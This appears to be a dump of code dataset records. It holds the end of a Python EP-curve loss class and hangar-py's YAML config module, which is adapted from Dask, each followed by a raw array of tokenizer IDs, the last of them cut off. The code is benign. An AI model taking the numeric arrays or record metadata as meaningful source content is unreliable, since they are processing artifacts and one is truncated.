self.curve.reindex(self.curve.index.union(probabilities)).sort_index( ascending=True).interpolate(method='index') return self.curve.to_dict()['Loss']
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 15945, 29908, 16502, 10837, 345, 3883, 363, 278, 8954, 310, 385, 16502, 10837, 345, 15945, 29908, 13, 3166, 14115, 1053, 1174, 398, 13, 5215, 11701, 408, 10518, 13, 5215, 12655, 408, 7442, 13, 13, 13, 1990, 16502, 1542, 29898, 16854, 1125, 13, 1678, 9995, 16502, 5167, 1174, 398, 15783, 1134, 310, 16502, 10837, 345, 9995, 13, 1678, 438, 15488, 353, 29871, 29896, 13, 1678, 319, 15488, 353, 29871, 29906, 13, 1678, 8291, 29968, 6632, 16048, 353, 29871, 29941, 13, 13, 13, 1990, 382, 9026, 332, 345, 29901, 13, 1678, 9995, 15488, 10837, 345, 15945, 29908, 13, 13, 1678, 28081, 24015, 29918, 13171, 5971, 8452, 353, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29945, 29892, 29871, 29896, 29900, 29892, 29871, 29906, 29900, 29892, 29871, 29906, 29945, 29892, 29871, 29945, 29900, 29892, 13, 462, 539, 29896, 29900, 29900, 29892, 29871, 29896, 29945, 29900, 29892, 29871, 29906, 29900, 29900, 29892, 29871, 29906, 29945, 29900, 29892, 29871, 29945, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29900, 29962, 13, 1678, 5195, 29984, 3120, 19386, 29918, 15032, 5005, 3059, 353, 6796, 1184, 29890, 3097, 613, 376, 29931, 2209, 3108, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 848, 29901, 1051, 29892, 9358, 29918, 1853, 29901, 16502, 1542, 1125, 13, 4706, 9995, 5167, 2847, 7608, 363, 16502, 10837, 345, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 848, 29901, 13, 9651, 1134, 29898, 1761, 29897, 13, 9651, 2866, 2708, 263, 1051, 310, 1019, 29890, 3097, 322, 365, 2209, 11000, 518, 6377, 1184, 29890, 3097, 1115, 29900, 29889, 29900, 29896, 29892, 376, 29931, 2209, 1115, 29896, 29900, 29900, 29900, 29913, 13, 9651, 1919, 6377, 1184, 29890, 3097, 1115, 29900, 29889, 29900, 29906, 29892, 376, 29931, 2209, 1115, 29906, 29900, 29900, 29900, 6525, 13, 4706, 9358, 29918, 1853, 29901, 13, 9651, 1134, 29898, 15488, 1542, 29897, 13, 9651, 1174, 398, 15783, 278, 1134, 310, 16502, 10837, 345, 393, 445, 338, 313, 29909, 15488, 470, 438, 15488, 29897, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 9995, 13, 4706, 11672, 29918, 1272, 353, 10518, 29889, 17271, 29898, 1272, 29897, 13, 4706, 565, 599, 29898, 4914, 297, 1051, 29898, 2764, 345, 29918, 1272, 29889, 13099, 29889, 5975, 29897, 363, 1897, 297, 382, 9026, 332, 345, 29889, 1525, 29984, 3120, 19386, 29918, 15032, 5005, 3059, 1125, 13, 9651, 1583, 29889, 2764, 345, 353, 11672, 29918, 1272, 13, 13, 9651, 4236, 29918, 6758, 29918, 22795, 3097, 353, 518, 6377, 1184, 29890, 3097, 1115, 7442, 29889, 29888, 3888, 29898, 13, 18884, 5785, 467, 25649, 29892, 376, 29931, 2209, 1115, 1583, 29889, 2764, 345, 29889, 3317, 2141, 29931, 2209, 6525, 13, 9651, 1583, 29889, 2764, 345, 353, 1583, 29889, 2764, 345, 29889, 4397, 29898, 15926, 29889, 17271, 29898, 3317, 29918, 6758, 29918, 22795, 3097, 876, 13, 9651, 1583, 29889, 2764, 345, 353, 1583, 29889, 2764, 345, 29889, 842, 29918, 2248, 877, 1184, 29890, 3097, 1495, 13, 13, 9651, 565, 9358, 29918, 1853, 338, 6213, 29901, 13, 18884, 1583, 29889, 1022, 29918, 1853, 353, 16502, 1542, 29889, 3904, 29968, 6632, 16048, 13, 9651, 1683, 29901, 13, 18884, 1583, 29889, 1022, 29918, 1853, 353, 9358, 29918, 1853, 13, 4706, 1683, 29901, 13, 9651, 12020, 7865, 2392, 29898, 13, 18884, 376, 1184, 29890, 3097, 322, 365, 2209, 4235, 451, 297, 848, 29889, 5399, 278, 805, 7807, 1159, 13, 13, 1678, 822, 6410, 29918, 271, 29918, 29874, 29918, 29887, 5428, 29918, 2457, 29918, 19145, 29898, 1311, 29892, 736, 29918, 19145, 29901, 5785, 1125, 13, 4706, 9995, 3617, 263, 6410, 515, 16502, 11672, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 736, 29918, 19145, 29901, 13, 9651, 1134, 29898, 7411, 29897, 13, 9651, 10050, 29899, 29940, 387, 1230, 1353, 15783, 278, 736, 3785, 313, 4361, 771, 1052, 310, 278, 6976, 29897, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 1134, 29898, 7411, 29897, 7106, 29498, 365, 2209, 13, 4706, 9995, 13, 4706, 565, 736, 29918, 19145, 5277, 29871, 29900, 29901, 13, 9651, 12020, 7865, 2392, 29898, 13, 18884, 376, 2457, 29918, 19145, 29901, 426, 29900, 29913, 19056, 338, 451, 6374, 1642, 4830, 29898, 2457, 29918, 19145, 876, 13, 13, 4706, 6976, 353, 29871, 29896, 847, 736, 29918, 19145, 13, 4706, 565, 6976, 297, 1583, 29889, 2764, 345, 29889, 2248, 29901, 13, 9651, 6410, 353, 1583, 29889, 2764, 345, 29889, 2029, 29961, 22795, 3097, 1822, 29931, 2209, 13, 4706, 1683, 29901, 13, 9651, 6976, 29918, 2378, 353, 518, 22795, 3097, 29962, 13, 9651, 1583, 29889, 2764, 345, 353, 1583, 29889, 2764, 345, 29889, 276, 2248, 29898, 1311, 29889, 2764, 345, 29889, 2248, 29889, 13094, 29898, 22795, 3097, 29918, 2378, 8106, 6605, 29918, 2248, 29898, 13, 18884, 12066, 2548, 29922, 5574, 467, 1639, 3733, 403, 29898, 5696, 2433, 2248, 1495, 13, 9651, 6410, 353, 1583, 29889, 2764, 345, 29889, 2029, 29961, 22795, 3097, 1822, 29931, 2209, 13, 4706, 736, 6410, 13, 13, 1678, 822, 260, 346, 29918, 6758, 29918, 271, 29918, 29874, 29918, 29887, 5428, 29918, 2457, 29918, 19145, 29898, 1311, 29892, 736, 29918, 19145, 1125, 13, 4706, 9995, 20535, 403, 323, 4741, 515, 16502, 11672, 472, 263, 2183, 736, 3785, 13, 4706, 8108, 3002, 4893, 736, 3785, 6410, 472, 278, 2183, 736, 3785, 322, 12778, 13, 4706, 278, 7688, 287, 6588, 6410, 363, 736, 23704, 6133, 313, 22795, 3097, 5224, 29897, 1135, 278, 13, 4706, 2183, 736, 3785, 29889, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 736, 29918, 19145, 29901, 13, 9651, 1134, 29898, 7411, 29897, 13, 9651, 10050, 29899, 29940, 387, 1230, 1353, 15783, 278, 736, 3785, 313, 4361, 771, 1052, 310, 278, 6976, 29897, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 1134, 29898, 7411, 29897, 323, 737, 15047, 3806, 6410, 472, 2183, 736, 3785, 13, 4706, 9995, 13, 13, 4706, 565, 736, 29918, 19145, 5277, 29871, 29900, 29901, 13, 9651, 12020, 7865, 2392, 29898, 13, 18884, 376, 2457, 29918, 19145, 29901, 426, 29900, 29913, 19056, 338, 451, 6374, 1642, 4830, 29898, 2457, 29918, 19145, 876, 13, 13, 4706, 736, 29918, 19145, 29918, 6758, 353, 1583, 29889, 6758, 29918, 271, 29918, 29874, 29918, 29887, 5428, 29918, 2457, 29918, 19145, 29898, 2457, 29918, 19145, 29897, 13, 4706, 6976, 353, 29871, 29896, 847, 736, 29918, 19145, 13, 4706, 11306, 353, 1583, 29889, 2764, 345, 29961, 1311, 29889, 2764, 345, 29889, 2248, 5277, 6976, 29962, 13, 4706, 3806, 29918, 6758, 29918, 27215, 29918, 29878, 572, 353, 313, 6484, 29889, 2248, 334, 11306, 1839, 29931, 2209, 2033, 467, 12676, 580, 13, 4706, 736, 736, 29918, 19145, 29918, 6758, 718, 3806, 29918, 6758, 29918, 27215, 29918, 29878, 572, 13, 13, 1678, 822, 679, 29918, 1022, 29918, 1853, 29898, 1311, 1125, 13, 4706, 9995, 3617, 278, 1134, 310, 16502, 10837, 345, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 16502, 1542, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 1022, 29918, 1853, 13, 13, 1678, 822, 679, 29918, 15770, 29918, 2457, 29918, 19145, 29918, 1022, 29898, 1311, 1125, 13, 4706, 9995, 20535, 1078, 3918, 16502, 736, 23704, 322, 3639, 278, 12463, 11672, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 1134, 29898, 8977, 29897, 450, 1494, 3829, 518, 6377, 1184, 29890, 3097, 1115, 29900, 29889, 29900, 29896, 29892, 376, 29931, 2209, 1115, 29896, 29900, 29900, 29900, 1118, 13, 4706, 8853, 1184, 29890, 3097, 1115, 29900, 29889, 29900, 29906, 29892, 376, 29931, 2209, 1115, 29906, 29900, 29900, 29900, 6525, 13, 4706, 9995, 13, 4706, 736, 29918, 19145, 29879, 353, 382, 9026, 332, 345, 29889, 1525, 29911, 24015, 29918, 13171, 5971, 8452, 13, 4706, 2070, 11614, 353, 1051, 29898, 1958, 29898, 2892, 921, 29901, 29871, 29896, 29914, 29916, 29892, 736, 29918, 19145, 29879, 876, 13, 4706, 1583, 29889, 2764, 345, 353, 1583, 29889, 2764, 345, 29889, 276, 2248, 29898, 1311, 29889, 2764, 345, 29889, 2248, 29889, 13094, 29898, 22795, 11614, 8106, 6605, 29918, 2248, 29898, 13, 9651, 12066, 2548, 29922, 5574, 467, 1639, 3733, 403, 29898, 5696, 2433, 2248, 1495, 13, 4706, 736, 1583, 29889, 2764, 345, 29889, 517, 29918, 8977, 580, 1839, 29931, 2209, 2033, 13, 2 ]
src/hangar/remote/config.py
siddhu15798/hangar-py
1
81073
<reponame>siddhu15798/hangar-py """Provides editable config of server & rpc behavior from on disk yaml file Portions of this code have been taken and modified from the "Dask" project. URL: https://github.com/dask/dask File: dask/config.py Commit: <PASSWORD> Accessed: 09 APR 2019 Dask License ------------------------------------------------------------------------------- Copyright (c) 2014-2018, Anaconda, Inc. and contributors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of Anaconda nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import os from os import makedirs from functools import lru_cache from typing import MutableMapping, Union import yaml global_config: MutableMapping[str, Union[str, int]] no_default = '__no_default__' global_config = config = {} defaults = [] def update(old, new, priority='new'): """ Update a nested dictionary with values from another This is like dict.update except that it smoothly merges nested values This operates in-place and modifies old Parameters ---------- priority: string {'old', 'new'} If new (default) then the new dictionary has preference. Otherwise the old dictionary does. Examples -------- >>> a = {'x': 1, 'y': {'a': 2}} >>> b = {'x': 2, 'y': {'b': 3}} >>> update(a, b) # doctest: +SKIP {'x': 2, 'y': {'a': 2, 'b': 3}} >>> a = {'x': 1, 'y': {'a': 2}} >>> b = {'x': 2, 'y': {'b': 3}} >>> update(a, b, priority='old') # doctest: +SKIP {'x': 1, 'y': {'a': 2, 'b': 3}} """ for k, v in new.items(): if k not in old and isinstance(v, dict): old[k] = {} if isinstance(v, dict): if old[k] is None: old[k] = {} update(old[k], v, priority=priority) else: if priority == 'new' or k not in old: old[k] = v return old def merge(*dicts): """ Update a sequence of nested dictionaries This prefers the values in the latter dictionaries to those in the former Examples -------- >>> a = {'x': 1, 'y': {'a': 2}} >>> b = {'y': {'b': 3}} >>> merge(a, b) # doctest: +SKIP {'x': 1, 'y': {'a': 2, 'b': 3}} """ result = {} for d in dicts: update(result, d) return result def collect_yaml(paths): """ Collect configuration from yaml files This searches through a list of paths, expands to find all yaml or json files, and then parses each file. """ # Find all paths file_paths = [] for path in paths: if os.path.exists(path): if os.path.isdir(path): try: file_paths.extend(sorted([ os.path.join(path, p) for p in os.listdir(path) if os.path.splitext(p)[1].lower() in ('.yaml', '.yml') ])) except OSError: # Ignore permission errors pass else: file_paths.append(path) configs = [] # Parse yaml files for path in file_paths: try: with open(path) as f: data = yaml.safe_load(f.read()) or {} configs.append(data) except (OSError, IOError): # Ignore permission errors pass return configs def ensure_file(source, destination=None, comment=False): """ Copy file to default location if it does not already exist This tries to move a default configuration file to a default location if if does not already exist. It also comments out that file by default. This is to be used on repository initialization or downstream module that may have default configuration files that they wish to include in the default configuration path. Parameters ---------- source : string, filename Source configuration file, typically within a source directory. destination : string, directory Destination directory. comment : bool, False by default Whether or not to comment out the config file when copying. """ if destination is None: raise FileNotFoundError('not currenly accepting no-destination option') # destination is a file and already exists, never overwrite if os.path.isfile(destination): return # If destination is not an existing file, interpret as a directory, # use the source basename as the filename directory = destination destination = os.path.join(directory, os.path.basename(source)) try: if not os.path.exists(destination): makedirs(directory, exist_ok=True) # Atomically create destination. Parallel testing discovered # a race condition where a process can be busy creating the # destination while another process reads an empty config file. tmp = '%s.tmp.%d' % (destination, os.getpid()) with open(source) as f: lines = list(f) if comment: lines = ['# ' + line if line.strip() and not line.startswith('#') else line for line in lines] with open(tmp, 'w') as f: f.write(''.join(lines)) try: os.rename(tmp, destination) except OSError: os.remove(tmp) except OSError: pass def collect(paths=[], env=None): """ Collect configuration from paths and environment variables Parameters ---------- paths : List[str] A list of paths to search for yaml config files env : dict The system environment variables Returns ------- config: dict """ if env is None: env = os.environ configs = [] if yaml: configs.extend(collect_yaml(paths=paths)) return merge(*configs) def refresh(config=config, defaults=defaults, **kwargs): """ Update configuration by re-reading yaml files and env variables This mutates the global hangar.config.config, or the config parameter if passed in. This goes through the following stages: 1. Clearing out all old configuration 2. Updating from the stored defaults from downstream libraries (see update_defaults) 3. Updating from yaml files and environment variables Note that some functionality only checks configuration once at startup and may not change behavior, even if configuration changes. It is recommended to restart your python process if convenient to ensure that new configuration changes take place. """ get.cache_clear() config.clear() for d in defaults: update(config, d, priority='new') update(config, collect(**kwargs)) @lru_cache(maxsize=128) def get(key, default=no_default, config=config): # pragma: no cover """ Get elements from global config Use '.' for nested access Examples -------- >>> from hangar import config >>> config.get('foo') # doctest: +SKIP {'x': 1, 'y': 2} >>> config.get('foo.x') # doctest: +SKIP 1 >>> config.get('foo.x.y', default=123) # doctest: +SKIP 123 """ keys = key.split('.') result = config for k in keys: try: result = result[k] except (TypeError, IndexError, KeyError): if default is not no_default: return default else: raise return result
[ 1, 529, 276, 1112, 420, 29958, 29879, 2205, 6905, 29896, 29945, 29955, 29929, 29947, 29914, 11895, 279, 29899, 2272, 13, 15945, 29908, 1184, 29894, 2247, 3863, 519, 2295, 310, 1923, 669, 364, 6739, 6030, 515, 373, 8086, 343, 8807, 934, 13, 13, 2290, 1080, 310, 445, 775, 505, 1063, 4586, 322, 9120, 515, 278, 376, 29928, 1278, 29908, 2060, 29889, 13, 13, 4219, 29901, 418, 2045, 597, 3292, 29889, 510, 29914, 29881, 1278, 29914, 29881, 1278, 13, 2283, 29901, 268, 270, 1278, 29914, 2917, 29889, 2272, 13, 1523, 2415, 29901, 259, 529, 25711, 17013, 29958, 13, 6638, 287, 29901, 29871, 29900, 29929, 319, 10593, 29871, 29906, 29900, 29896, 29929, 13, 13, 29928, 1278, 19245, 13, 2683, 2683, 2683, 2683, 9072, 5634, 13, 11882, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29946, 29899, 29906, 29900, 29896, 29947, 29892, 20367, 18050, 29892, 9266, 29889, 322, 17737, 29560, 13, 3596, 10462, 21676, 29889, 13, 13, 9039, 391, 3224, 322, 671, 297, 2752, 322, 7581, 7190, 29892, 411, 470, 1728, 21733, 29892, 13, 598, 21905, 4944, 393, 278, 1494, 5855, 526, 1539, 29901, 13, 13, 9039, 391, 3224, 29879, 310, 2752, 775, 1818, 11551, 278, 2038, 3509, 1266, 8369, 29892, 13, 1366, 1051, 310, 5855, 322, 278, 1494, 2313, 433, 4193, 29889, 13, 13, 9039, 391, 3224, 29879, 297, 7581, 883, 1818, 18532, 278, 2038, 3509, 1266, 8369, 29892, 13, 1366, 1051, 310, 5855, 322, 278, 1494, 2313, 433, 4193, 297, 278, 5106, 13, 392, 29914, 272, 916, 17279, 4944, 411, 278, 4978, 29889, 13, 13, 8139, 2121, 278, 1024, 310, 20367, 18050, 3643, 278, 2983, 310, 738, 17737, 29560, 1122, 367, 1304, 304, 13, 12184, 344, 470, 27391, 9316, 10723, 515, 445, 7047, 1728, 2702, 7536, 13, 17625, 10751, 29889, 13, 13, 4690, 3235, 7791, 7818, 12982, 1525, 8519, 13756, 13044, 3352, 6770, 6093, 315, 4590, 29979, 22789, 3912, 379, 5607, 8032, 29903, 5300, 8707, 29911, 3960, 29933, 2692, 24125, 376, 3289, 8519, 29908, 13, 9468, 13764, 29979, 8528, 15094, 1799, 6323, 306, 3580, 5265, 3352, 399, 1718, 29934, 13566, 29059, 29892, 2672, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 6093, 13, 29902, 3580, 5265, 3352, 399, 1718, 29934, 13566, 29059, 8079, 341, 1001, 3210, 13566, 2882, 6227, 11937, 5300, 383, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 13, 29909, 1525, 28657, 13875, 8890, 29928, 29889, 2672, 11698, 382, 29963, 3919, 24972, 9818, 6093, 315, 4590, 29979, 22789, 3912, 438, 29956, 13865, 6323, 8707, 29911, 3960, 29933, 2692, 24125, 20700, 13, 5265, 6181, 15842, 13764, 29979, 22471, 26282, 29892, 2672, 4571, 26282, 29892, 2672, 29907, 1367, 3919, 1964, 29892, 317, 4162, 8426, 1964, 29892, 8528, 29923, 3580, 29931, 19926, 29892, 6323, 13, 6007, 1660, 13356, 3919, 25758, 21330, 1529, 1692, 29903, 313, 1177, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 13756, 29907, 11499, 13780, 8079, 13, 20633, 1254, 1806, 26027, 21947, 29949, 8452, 6323, 26996, 29963, 2965, 2890, 29936, 11247, 1799, 8079, 501, 1660, 29892, 360, 8254, 29892, 6323, 13756, 29943, 1806, 29903, 29936, 6323, 350, 3308, 8895, 1799, 13, 23845, 29934, 4897, 29911, 2725, 29897, 29832, 8851, 5348, 12766, 17171, 29928, 5300, 6732, 13764, 29979, 6093, 18929, 8079, 17705, 2882, 6227, 11937, 29892, 12317, 2544, 4448, 2672, 13, 22412, 4717, 1783, 29892, 6850, 3960, 1783, 17705, 2882, 6227, 11937, 29892, 6323, 323, 8476, 313, 1177, 6154, 15789, 4214, 405, 11787, 5265, 24647, 4741, 6323, 438, 29911, 4448, 22119, 1660, 29897, 13, 1718, 3235, 4214, 2672, 13764, 29979, 399, 29909, 29979, 19474, 8079, 6093, 501, 1660, 8079, 3446, 3235, 7791, 7818, 12982, 1525, 29892, 382, 29963, 1430, 10762, 11033, 18118, 1660, 29928, 8079, 13, 28350, 21521, 1799, 8979, 6227, 11937, 8079, 20134, 3210, 21330, 1529, 1692, 29889, 13, 15945, 29908, 13, 5215, 2897, 13, 3166, 2897, 1053, 2136, 287, 12935, 13, 3166, 2090, 312, 8789, 1053, 301, 582, 29918, 8173, 13, 3166, 19229, 1053, 341, 9246, 15845, 29892, 7761, 13, 13, 5215, 343, 8807, 13, 13, 10945, 29918, 2917, 29901, 341, 9246, 15845, 29961, 710, 29892, 7761, 29961, 710, 29892, 938, 5262, 13, 13, 1217, 29918, 4381, 353, 525, 1649, 1217, 29918, 4381, 1649, 29915, 13, 10945, 29918, 2917, 353, 2295, 353, 6571, 13, 4381, 29879, 353, 5159, 13, 13, 13, 1753, 2767, 29898, 1025, 29892, 716, 29892, 20136, 2433, 1482, 29374, 13, 1678, 9995, 10318, 263, 9322, 8600, 411, 1819, 515, 1790, 13, 13, 1678, 910, 338, 763, 9657, 29889, 5504, 5174, 393, 372, 10597, 368, 2778, 2710, 9322, 1819, 13, 13, 1678, 910, 1751, 1078, 297, 29899, 6689, 322, 878, 11057, 2030, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 20136, 29901, 1347, 11117, 1025, 742, 525, 1482, 10827, 13, 4706, 960, 716, 313, 4381, 29897, 769, 278, 716, 8600, 756, 24583, 29889, 13, 4706, 13466, 278, 2030, 8600, 947, 29889, 13, 13, 1678, 1222, 9422, 13, 1678, 448, 26589, 13, 1678, 8653, 263, 353, 11117, 29916, 2396, 29871, 29896, 29892, 525, 29891, 2396, 11117, 29874, 2396, 29871, 29906, 930, 13, 1678, 8653, 289, 353, 11117, 29916, 2396, 29871, 29906, 29892, 525, 29891, 2396, 11117, 29890, 2396, 29871, 29941, 930, 13, 1678, 8653, 2767, 29898, 29874, 29892, 289, 29897, 29871, 396, 437, 312, 342, 29901, 718, 16033, 5690, 13, 1678, 11117, 29916, 2396, 29871, 29906, 29892, 525, 29891, 2396, 11117, 29874, 2396, 29871, 29906, 29892, 525, 29890, 2396, 29871, 29941, 930, 13, 13, 1678, 8653, 263, 353, 11117, 29916, 2396, 29871, 29896, 29892, 525, 29891, 2396, 11117, 29874, 2396, 29871, 29906, 930, 13, 1678, 8653, 289, 353, 11117, 29916, 2396, 29871, 29906, 29892, 525, 29891, 2396, 11117, 29890, 2396, 29871, 29941, 930, 13, 1678, 8653, 2767, 29898, 29874, 29892, 289, 29892, 20136, 2433, 1025, 1495, 29871, 396, 437, 312, 342, 29901, 718, 16033, 5690, 13, 1678, 11117, 29916, 2396, 29871, 29896, 29892, 525, 29891, 2396, 11117, 29874, 2396, 29871, 29906, 29892, 525, 29890, 2396, 29871, 29941, 930, 13, 1678, 9995, 13, 1678, 363, 413, 29892, 325, 297, 716, 29889, 7076, 7295, 13, 4706, 565, 413, 451, 297, 2030, 322, 338, 8758, 29898, 29894, 29892, 9657, 1125, 13, 9651, 2030, 29961, 29895, 29962, 353, 6571, 13, 13, 4706, 565, 338, 8758, 29898, 29894, 29892, 9657, 1125, 13, 9651, 565, 2030, 29961, 29895, 29962, 338, 6213, 29901, 13, 18884, 2030, 29961, 29895, 29962, 353, 6571, 13, 9651, 2767, 29898, 1025, 29961, 29895, 1402, 325, 29892, 20136, 29922, 29886, 21766, 29897, 13, 4706, 1683, 29901, 13, 9651, 565, 20136, 1275, 525, 1482, 29915, 470, 413, 451, 297, 2030, 29901, 13, 18884, 2030, 29961, 29895, 29962, 353, 325, 13, 13, 1678, 736, 2030, 13, 13, 13, 1753, 10366, 10456, 8977, 29879, 1125, 13, 1678, 9995, 10318, 263, 5665, 310, 9322, 21503, 4314, 13, 13, 1678, 910, 758, 25534, 278, 1819, 297, 278, 7480, 21503, 4314, 304, 1906, 297, 278, 4642, 13, 13, 1678, 1222, 9422, 13, 1678, 448, 26589, 13, 1678, 8653, 263, 353, 11117, 29916, 2396, 29871, 29896, 29892, 525, 29891, 2396, 11117, 29874, 2396, 29871, 29906, 930, 13, 1678, 8653, 289, 353, 11117, 29891, 2396, 11117, 29890, 2396, 29871, 29941, 930, 13, 1678, 8653, 10366, 29898, 29874, 29892, 289, 29897, 29871, 396, 437, 312, 342, 29901, 718, 16033, 5690, 13, 1678, 11117, 29916, 2396, 29871, 29896, 29892, 525, 29891, 2396, 11117, 29874, 2396, 29871, 29906, 29892, 525, 29890, 2396, 29871, 29941, 930, 13, 1678, 9995, 13, 1678, 1121, 353, 6571, 13, 1678, 363, 270, 297, 9657, 29879, 29901, 13, 4706, 2767, 29898, 2914, 29892, 270, 29897, 13, 1678, 736, 1121, 13, 13, 13, 1753, 6314, 29918, 25162, 29898, 24772, 1125, 13, 1678, 9995, 24930, 5285, 515, 343, 8807, 2066, 13, 13, 1678, 910, 29645, 1549, 263, 1051, 310, 10898, 29892, 1518, 4167, 304, 1284, 599, 343, 8807, 470, 4390, 13, 1678, 2066, 29892, 322, 769, 610, 29879, 267, 1269, 934, 29889, 13, 1678, 9995, 13, 1678, 396, 10987, 599, 10898, 13, 1678, 934, 29918, 24772, 353, 5159, 13, 1678, 363, 2224, 297, 10898, 29901, 13, 4706, 565, 2897, 29889, 2084, 29889, 9933, 29898, 2084, 1125, 13, 9651, 565, 2897, 29889, 2084, 29889, 275, 3972, 29898, 2084, 1125, 13, 18884, 1018, 29901, 13, 462, 1678, 934, 29918, 24772, 29889, 21843, 29898, 24582, 4197, 13, 462, 4706, 2897, 29889, 2084, 29889, 7122, 29898, 2084, 29892, 282, 29897, 13, 462, 4706, 363, 282, 297, 2897, 29889, 1761, 3972, 29898, 2084, 29897, 13, 462, 4706, 565, 2897, 29889, 2084, 29889, 23579, 568, 486, 29898, 29886, 9601, 29896, 1822, 13609, 580, 297, 313, 4286, 25162, 742, 15300, 21053, 1495, 13, 462, 1678, 4514, 876, 13, 18884, 5174, 438, 29173, 29901, 13, 462, 1678, 396, 18076, 487, 10751, 4436, 13, 462, 1678, 1209, 13, 9651, 1683, 29901, 13, 18884, 934, 29918, 24772, 29889, 4397, 29898, 2084, 29897, 13, 13, 1678, 2295, 29879, 353, 5159, 13, 13, 1678, 396, 20969, 343, 8807, 2066, 13, 1678, 363, 2224, 297, 934, 29918, 24772, 29901, 13, 4706, 1018, 29901, 13, 9651, 411, 1722, 29898, 2084, 29897, 408, 285, 29901, 13, 18884, 848, 353, 343, 8807, 29889, 11177, 29918, 1359, 29898, 29888, 29889, 949, 3101, 470, 6571, 13, 18884, 2295, 29879, 29889, 4397, 29898, 1272, 29897, 13, 4706, 5174, 313, 29949, 29173, 29892, 10663, 2392, 1125, 13, 9651, 396, 18076, 487, 10751, 4436, 13, 9651, 1209, 13, 13, 1678, 736, 2295, 29879, 13, 13, 13, 1753, 9801, 29918, 1445, 29898, 4993, 29892, 12551, 29922, 8516, 29892, 3440, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 14187, 934, 304, 2322, 4423, 565, 372, 947, 451, 2307, 1863, 13, 13, 1678, 910, 14335, 304, 4337, 263, 2322, 5285, 934, 304, 263, 2322, 4423, 565, 13, 1678, 565, 947, 451, 2307, 1863, 29889, 29871, 739, 884, 6589, 714, 393, 934, 491, 2322, 29889, 13, 13, 1678, 910, 338, 304, 367, 1304, 373, 9810, 17865, 470, 1623, 5461, 3883, 393, 13, 1678, 1122, 505, 2322, 5285, 2066, 393, 896, 6398, 304, 3160, 297, 278, 13, 1678, 2322, 5285, 2224, 29889, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 2752, 584, 1347, 29892, 10422, 13, 4706, 7562, 5285, 934, 29892, 12234, 2629, 263, 2752, 3884, 29889, 13, 1678, 12551, 584, 1347, 29892, 3884, 13, 4706, 15435, 3381, 3884, 29889, 13, 1678, 3440, 584, 6120, 29892, 7700, 491, 2322, 13, 4706, 26460, 470, 451, 304, 3440, 714, 278, 2295, 934, 746, 17596, 29889, 13, 1678, 9995, 13, 1678, 565, 12551, 338, 6213, 29901, 13, 4706, 12020, 3497, 17413, 2392, 877, 1333, 16256, 264, 368, 25967, 694, 29899, 23848, 2984, 1495, 13, 13, 1678, 396, 12551, 338, 263, 934, 322, 2307, 4864, 29892, 2360, 26556, 13, 1678, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 23848, 1125, 13, 4706, 736, 13, 13, 1678, 396, 960, 12551, 338, 451, 385, 5923, 934, 29892, 6613, 408, 263, 3884, 29892, 13, 1678, 396, 671, 278, 2752, 2362, 3871, 408, 278, 10422, 13, 1678, 3884, 353, 12551, 13, 1678, 12551, 353, 2897, 29889, 2084, 29889, 7122, 29898, 12322, 29892, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 4993, 876, 13, 13, 1678, 1018, 29901, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 23848, 1125, 13, 9651, 2136, 287, 12935, 29898, 12322, 29892, 1863, 29918, 554, 29922, 5574, 29897, 13, 13, 9651, 396, 2180, 290, 1711, 1653, 12551, 29889, 29871, 1459, 6553, 6724, 10943, 13, 9651, 396, 263, 8175, 4195, 988, 263, 1889, 508, 367, 19587, 4969, 278, 13, 9651, 396, 12551, 1550, 1790, 1889, 13623, 385, 4069, 2295, 934, 29889, 13, 9651, 13128, 353, 14210, 29879, 29889, 